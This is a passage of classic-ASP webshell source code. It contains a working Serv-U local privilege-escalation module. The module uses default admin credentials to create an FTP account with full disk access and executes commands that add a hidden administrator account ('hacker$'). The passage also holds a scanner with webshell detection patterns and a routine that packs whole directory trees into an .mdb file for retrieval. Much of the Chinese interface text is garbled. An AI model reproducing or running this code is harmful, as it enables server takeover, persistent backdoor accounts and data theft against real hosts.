Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "Servu":SUaction=request("SUaction")
if not isnumeric(SUaction) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = 21
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
"-HomeDir=c:\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case SUaction
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
RRS"<form method='post' name='goldsun'>"
RRS"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
RRS"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
RRS"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
RRS"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
RRS"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
RRS"<input name='SUaction' type='hidden' id='SUaction' value='2'></form>"
RRS"<script language='javascript'>"
RRS"document.write('<center><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127.0.0.1:"&port&",ʹ<><CAB9><EFBFBD>û<EFBFBD><C3BB><EFBFBD>: "&user&",<2C><><EFBFBD>"&pass&"...<center>');"
RRS"setTimeout('document.all.goldsun.submit();',4000);"
RRS"</script>"
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
RRS"<form method='post' name='goldsun'>"
RRS"<input name='u' type='hidden' id='u' value='"&user&"'></td>"
RRS"<input name='p' type='hidden' id='p' value='"&pass&"'></td>"
RRS"<input name='port' type='hidden' id='port' value='"&port&"'></td>"
RRS"<input name='c' type='hidden' id='c' value='"&cmd&"' size='50'>"
RRS"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
RRS"<input name='SUaction' type='hidden' id='SUaction' value='3'></form>"
RRS"<script language='javascript'>"
RRS"document.write('<center><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>,<2C><><EFBFBD>ȴ<EFBFBD>...,<center>');"
RRS"setTimeout(""document.all.goldsun.submit();"",4000);"
RRS"</script>"
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
a.send loginuser & loginpass & mt & deldomain & quit
set session("a")=a
RRS"<center><3E><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD>,<2C><>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br><font color=red>"&cmd&"</font><br><br>"
RRS"<input type=button value=' <20><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD> ' onClick=""location.href='?Action=Servu';"">"
RRS"</center>"
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
RRS"<center><form method='post' name='goldsun'>"
RRS"<table width='494' height='163' border='1' cellpadding='0' cellspacing='1' bordercolor='#666666'>"
RRS"<tr align='center' valign='middle'>"
RRS"<td colspan='2'>Serv-U <20><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8> ASP<53><50> 6.4</td>"
RRS"</tr>"
RRS"<tr align='center' valign='middle'>"
RRS"<td width='100'><3E>û<EFBFBD><C3BB><EFBFBD>:</td>"
RRS"<td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td>"
RRS"</tr>"
RRS"<tr align='center' valign='middle'>"
RRS"<td><3E><> <20></td>"
RRS"<td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td>"
RRS"</tr>"
RRS"<tr align='center' valign='middle'>"
RRS"<td><3E><> <20>ڣ<EFBFBD></td>"
RRS"<td><input name='port' type='text' id='port' value='43958'></td>"
RRS"</tr>"
RRS"<tr align='center' valign='middle'>"
RRS"<td>ϵͳ·<CDB3><C2B7><EFBFBD><EFBFBD></td>"
RRS" <td><input name='f' type='text' id='f' value='"&f&"' size='8'></td>"
RRS" </tr>"
RRS" <tr align='center' valign='middle'>"
RRS" <td><3E><><EFBFBD><EFBFBD><EFBFBD></td>"
RRS" <td><input name='c' type='text' id='c' value='cmd /c net user hacker$ hacker /add & net localgroup administrators hacker$ /add' size='50'></td>"
RRS" </tr>"
RRS" <tr align='center' valign='middle'>"
RRS" <td colspan='2'><input type='submit' name='Submit' value='<27>ύ'> "
RRS"<input type='reset' name='Submit2' value='<27><><EFBFBD><EFBFBD>'>"
RRS"<input name='SUaction' type='hidden' id='action' value='1'></td>"
RRS" </tr>"
RRS" <tr align='center' valign='middle'>"
RRS" <td>˵<><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>"
RRS" <td><input name='ccc' type='text' id='ccc' value='<27><><EFBFBD>滻<EFBFBD><E6BBBB>:cmd /c D:\web\<5C><><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD>ľ<EFBFBD><C4BE>.exe Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>VBS' size='50'></td>"
RRS" </tr>"
RRS"</tr></table></form></center>"
end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Case "kmuma"
dim Report
if request.QueryString("act")<>"scan" then
RRS ("<b><3E><>վ<EFBFBD><D5BE>Ŀ¼</b>- "&Server.MapPath("/")&"<br>")
RRS ("<b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼</b>- "&Server.MapPath("."))
RRS "<form action=""?Action=kmuma&act=scan"" method=""post"" name=""form1"">"
RRS "<p><b><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD></b>"
RRS "<input name=""path"" type=""text"" style=""border:1px solid #999"" value=""."" size=""30"" /> <20>\<5C><><EFBFBD><EFBFBD>վ<EFBFBD><D5BE>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>.<2E><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<br><br>"
RRS "<22><>Ҫ<EFBFBD><D2AA>ʲô: <input class=c name=""radiobutton"" type=""radio"" value=""sws"" onClick=""document.getElementById('showFile1').style.display='none'"" checked><3E><>ASP <20><>"
RRS "<input class=c type=""radio"" name=""radiobutton"" value=""sf"" onClick=""document.getElementById('showFile1').style.display=''""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD>ļ<EFBFBD><br>"
RRS "<br /><div id=""showFile1"" style=""display:none"">"
RRS "&nbsp;&nbsp;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><input name=""Search_Content"" type=""text"" id=""Search_Content"" style=""border:1px solid #999"" size=""20"">"
RRS " Ҫ<><D2AA><EFBFBD>ҵ<EFBFBD><D2B5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><br />"
RRS "&nbsp;&nbsp;<3B>޸<EFBFBD><DEB8><EFBFBD><EFBFBD>ڣ<EFBFBD><input name=""Search_Date"" type=""text"" style=""border:1px solid #999"" value="""&Left(Now(),InStr(now()," ")-1)&""" size=""20""> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д <a href=""#"" onClick=""javascript:form1.Search_Date.value='ALL'"">ALL</a><br />"
RRS "&nbsp;&nbsp;<3B>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ͣ<EFBFBD><input name=""Search_FileExt"" type=""text"" style=""border:1px solid #999"" value=""*"" size=""20""> <20><><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*<2A><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br /><br /></div>"
RRS "<input type=""submit"" value="" <20><>ʼɨ<CABC><C9A8> "" style=""padding:2px 2px 0px 2px;margin:4px;"" />"
RRS "</form>"
else
if request.Form("path")="" then
RRS("·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>")
response.End()
end if
if request.Form("path")="\" then
TmpPath = Server.MapPath("\")
elseif request.Form("path")="." then
TmpPath = Server.MapPath(".")
else
TmpPath = request.Form("path")
end if
timer1 = timer
Sun = 0
SumFiles = 0
SumFolders = 1
If request.Form("radiobutton") = "sws" Then
DimFileExt = "asp,cer,asa,cdx"
Call ShowAllFile(TmpPath)
Else
If request.Form("path") = "" or request.Form("Search_Date") = "" or request.Form("Search_FileExt") = "" Then
RRS("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<br><br><a href='javascript:history.go(-1);'><3E>뷵<EFBFBD><EBB7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></a>")
response.End()
End If
DimFileExt = request.Form("Search_fileExt")
Call ShowAllFile2(TmpPath)
End If
RRS "<table width=""100%"" border=""0"" cellpadding=""0"" cellspacing=""0"" style='font-size:12px'>"
RRS "<tr><th>Scan WebShell</tr>"
RRS "<tr><td style=""padding:5px;line-height:170%;clear:both;font-size:12px"">"
RRS "<div id=""updateInfo"" style=""background:ffffe1;border:1px solid #89441f;padding:4px;display:none""></div>"
RRS "ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><font color=""#FF0000"">"&SumFolders&"</font><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><font color=""#FF0000"">"&SumFiles&"</font><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD><D6BF>ɵ<EFBFBD><font color=""#FF0000"">"&Sun&"</font><3E><>"
RRS "<table width=""100%"" border=""1"" cellpadding=""0"" cellspacing=""8"" bordercolor=""#999999"" style=""font-size:12px;border-collapse:collapse;line-height:130%;clear:both;""><tr>"
If request.Form("radiobutton") = "sws" Then
RRS "<td width=""20%""><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7></td>"
RRS "<td width=""20%""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD></td>"
RRS "<td width=""40%""><3E><><EFBFBD><EFBFBD></td>"
RRS "<td width=""20%""><3E><><EFBFBD><EFBFBD>/<2F>޸<EFBFBD>ʱ<EFBFBD><CAB1></td>"
else
RRS "<td width=""50%""><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7></td>"
RRS "<td width=""25%""><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1></td>"
RRS "<td width=""25%""><3E>޸<EFBFBD>ʱ<EFBFBD><CAB1></td>"
end if
RRS "</tr>"
RRS Report
RRS "<br/></table>"
timer2 = timer
thetime=cstr(int(((timer2-timer1)*10000 )+0.5)/10)
RRS "<br><font style='font-size:12px'><3E><>ҳִ<D2B3>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD>"&thetime&"<22><><EFBFBD><EFBFBD></font>"
end if
Sub ShowAllFile(Path)
Set F1SO = CreateObject("Scripting.FileSystemObject")
if not F1SO.FolderExists(path) then exit sub
Set f = F1SO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If CheckExt(F1SO.GetExtensionName(path&"\"&myfile.name)) Then
Call ScanFile(Path&Temp&"\"&myfile.name, "")
SumFiles = SumFiles + 1
End If
Next
Set fc = f.SubFolders
For Each f1 in fc
ShowAllFile path&"\"&f1.name
SumFolders = SumFolders + 1
Next
Set F1SO = Nothing
End Sub
Sub ScanFile(FilePath, InFile)
Server.ScriptTimeout=999999999
If InFile <> "" Then
Infiles = "<font color=red><3E><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(InFile)&""" target=_blank>"& InFile & "</a><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4></font>"
End If
Set FSO1s = CreateObject("Scripting.FileSystemObject")
on error resume next
set ofile = FSO1s.OpenTextFile(FilePath)
filetxt = Lcase(ofile.readall())
If err Then Exit Sub end if
if len(filetxt)>0 then
filetxt = vbcrlf & filetxt
temp = "<a href=""http://"&Request.Servervariables("server_name")&"/"&tURLEncode(replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&replace(FilePath,server.MapPath("\")&"\","",1,1,1)&"</a><br />"
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""EditFile"")' class='am' title='<27>༭'>Edit</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")' onclick='return yesok()' class='am' title='ɾ<><C9BE>'>Del</a > "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""CopyFile"")' class='am' title='<27><><EFBFBD><EFBFBD>'>Copy</a> "
temp=temp&"<a href='javascript:FullForm("""&replace(replace(FilePath,server.MapPath("\")&"\","",1,1,1),"\","\\")&""",""MoveFile"")' class='am' title='<27>ƶ<EFBFBD>'>Move</a>"
If instr( filetxt, Lcase("WScr"&DoMyBest&"ipt.Shell") ) or Instr( filetxt, Lcase("clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8") ) then
Report = Report&"<tr><td>"&temp&"</td><td>WScr"&DoMyBest&"ipt.Shell <20><><EFBFBD><EFBFBD> clsid:72C24DD5-D70A"&DoMyBest&"-438B-8A42-98424B88AFB8</td><td><font color=red>Σ<><CEA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>㱻ASPľ<50><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End if
If instr( filetxt, Lcase("She"&DoMyBest&"ll.Application") ) or Instr( filetxt, Lcase("clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000") ) then
Report = Report&"<tr><td>"&temp&"</td><td>She"&DoMyBest&"ll.Application <20><><EFBFBD><EFBFBD> clsid:13709620-C27"&DoMyBest&"9-11CE-A49E-444553540000</td><td><font color=red>Σ<><CEA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD>㱻ASPľ<50><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>(vbscript|jscript|javascript).Encode</td><td><font color=red><3E>ƺ<EFBFBD><C6BA>ű<EFBFBD><C5B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
regEx.Pattern = "\bEv"&"al\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>Ev"&"al</td><td>e"&"val()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ASP<53><50><EFBFBD><EFBFBD><br><3E><><EFBFBD><EFBFBD>javascript<70><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD>ʹ<EFBFBD>ã<EFBFBD><C3A3>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󱨡<EFBFBD>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
regEx.Pattern = "[^.]\bExe"&"cute\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>Exec"&"ute</td><td><font color=red>e"&"xecute()<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ASP<53><50><EFBFBD><EFBFBD></font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
regEx.Pattern = "\.(Open|Create)TextFile\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>.CreateTextFile|.OpenTextFile</td><td>ʹ<><CAB9><EFBFBD><EFBFBD>FSO<53><4F>CreateTextFile|OpenTextFile<6C><65>д<EFBFBD>ļ<EFBFBD>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
regEx.Pattern = "\.SaveToFile\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>.SaveToFile</td><td>ʹ<><CAB9><EFBFBD><EFBFBD>Stream<61><6D>SaveToFile<6C><65><EFBFBD><EFBFBD>д<EFBFBD>ļ<EFBFBD>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
regEx.Pattern = "\.Save\b"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>.Save</td><td>ʹ<><CAB9><EFBFBD><EFBFBD>XMLHTTP<54><50>Save<76><65><EFBFBD><EFBFBD>д<EFBFBD>ļ<EFBFBD>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
temp="-ͬ<><CDAC>-"
End If
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "<!--\s*#include\s*file\s*=\s*"".*"""
Set Matches = regEx.Execute(filetxt)
For Each Match in Matches
tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\")
If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) )
SumFiles = SumFiles + 1
End If
Next
Set Matches = Nothing
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "<!--\s*#include\s*virtual\s*=\s*"".*"""
Set Matches = regEx.Execute(filetxt)
For Each Match in Matches
tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\")
If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
Call ScanFile( Server.MapPath("\")&"\"&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) )
SumFiles = SumFiles + 1
End If
Next
Set Matches = Nothing
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]*|\()"".*"""
Set Matches = regEx.Execute(filetxt)
For Each Match in Matches
tFile = Replace(Mid(Match.Value, Instr(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 1),"/","\")
If Not CheckExt(FSO1s.GetExtensionName(tFile)) Then
Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")&"\","",1,1,1) )
SumFiles = SumFiles + 1
End If
Next
Set Matches = Nothing
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "Server.(Exec"&"ute|Transfer)([ \t]*|\()[^""]\)"
If regEx.Test(filetxt) Then
Report = Report&"<tr><td>"&temp&"</td><td>Server.Exec"&"ute</td><td><font color=red><3E><><EFBFBD>ܸ<EFBFBD><DCB8>ټ<EFBFBD><D9BC><EFBFBD>Server.e"&"xecute()<29><><EFBFBD><EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5>ļ<EFBFBD><C4BC><EFBFBD></font><br>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
End If
Set Matches = Nothing
Set regEx = Nothing
Set XregEx = New RegExp
XregEx.IgnoreCase = True
XregEx.Global = True
XregEx.Pattern = "<scr"&"ipt\s*(.|\n)*?runat\s*=\s*""?server""?(.|\n)*?>"
Set XMatches = XregEx.Execute(filetxt)
For Each Match in XMatches
tmpLake2 = Mid(Match.Value, 1, InStr(Match.Value, ">"))
srcSeek = InStr(1, tmpLake2, "src", 1)
If srcSeek > 0 Then
srcSeek2 = instr(srcSeek, tmpLake2, "=")
For i = 1 To 50
tmp = Mid(tmpLake2, srcSeek2 + i, 1)
If tmp <> " " and tmp <> chr(9) and tmp <> vbCrLf Then
Exit For
End If
Next
If tmp = """" Then
tmpName = Mid(tmpLake2, srcSeek2 + i + 1, Instr(srcSeek2 + i + 1, tmpLake2, """") - srcSeek2 - i - 1)
Else
If InStr(srcSeek2 + i + 1, tmpLake2, " ") > 0 Then tmpName = Mid(tmpLake2, srcSeek2 + i, Instr(srcSeek2 + i + 1, tmpLake2, " ") - srcSeek2 - i) Else tmpName = tmpLake2
If InStr(tmpName, chr(9)) > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, chr(9)) - 1)
If InStr(tmpName, vbCrLf) > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, vbcrlf) - 1)
If InStr(tmpName, ">") > 0 Then tmpName = Mid(tmpName, 1, Instr(1, tmpName, ">") - 1)
End If
Call ScanFile( Mid(FilePath,1,InStrRev(FilePath,"\"))&tmpName , replace(FilePath,server.MapPath("\")&"\","",1,1,1))
SumFiles = SumFiles + 1
End If
Next
Set Matches = Nothing
Set regEx = Nothing
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "CreateO"&"bject[ |\t]*\(.*\)"
Set Matches = regEx.Execute(filetxt)
For Each Match in Matches
If Instr(Match.Value, "&") or Instr(Match.Value, "+") or Instr(Match.Value, """") = 0 or Instr(Match.Value, "(") <> InStrRev(Match.Value, "(") Then
Report = Report&"<tr><td>"&temp&"</td><td>Creat"&"eObject</td><td>Crea"&"teObject<63><74><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD>˱<EFBFBD><CBB1>μ<EFBFBD><CEBC><EFBFBD>"&infiles&"</td><td>"&GetDateCreate(filepath)&"<br>"&GetDateModify(filepath)&"</td></tr>"
Sun = Sun + 1
exit sub
End If
Next
Set Matches = Nothing
Set regEx = Nothing
end if
set ofile = nothing
set FSO1s = nothing
End Sub:Sub PageAddToMdb():Dim theAct, thePath
theAct = Request("theAct")
thePath = Request("thePath")
Server.ScriptTimeOut=100000
If theAct = "addToMdb" Then
addToMdb(thePath)
RRS "<div align=center><br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</div>"&BackUrl
Response.End
End If
If theAct = "releaseFromMdb" Then
unPack(thePath)
RRS "<div align=center><br><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!</div>"&BackUrl
Response.End
End If
RRS"<br><3E>ļ<EFBFBD><C4BC>д<EFBFBD><D0B4><EFBFBD>:"
RRS"<form method=post>"
RRS"<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & """ size=80>"
RRS"<input type=hidden value=addToMdb name=theAct>"
RRS"<select name=theMethod><option value=fso>FSO</option><option value=app><3E><>FSO</option>"
RRS"</select>"
RRS" <input type=submit value='<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>'>"
RRS"<br><br>ע: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>HSH.mdb<64>ļ<EFBFBD>,λ<><CEBB>HSHľ<48><C4BE>ͬ<EFBFBD><CDAC>Ŀ¼<C4BF><C2BC>"
RRS"</form>"
RRS"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>⿪(<28><>FSO֧<4F><D6A7>):<br/>"
RRS"<form method=post>"
RRS"<input name=thePath value=""" & HtmlEncode(Server.MapPath(".")) & "\HSH.mdb"" size=80>"
RRS" <input type=hidden value=releaseFromMdb name=theAct><input type=submit value='<27>⿪<EFBFBD><E2BFAA>'>"
RRS"<br><br>ע: <20>⿪<EFBFBD><E2BFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>λ<EFBFBD><CEBB>HSHľ<48><C4BE>ͬ<EFBFBD><CDAC>Ŀ¼<C4BF><C2BC>"
RRS"</form>":
End Sub:Sub addToMdb(thePath):On Error Resume Next
Dim rs, conn, stream, connStr, adoCatalog
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("HSH.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If Request("theMethod") = "fso" Then
fsoTreeForMdb thePath, rs, stream
Else
saTreeForMdb thePath, rs, stream
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing:End Sub:Function fsoTreeForMdb(thePath, rs, stream):Dim item, theFolder, folders, files, sysFileList
sysFileList = "$HSH.mdb$HSH.ldb$"
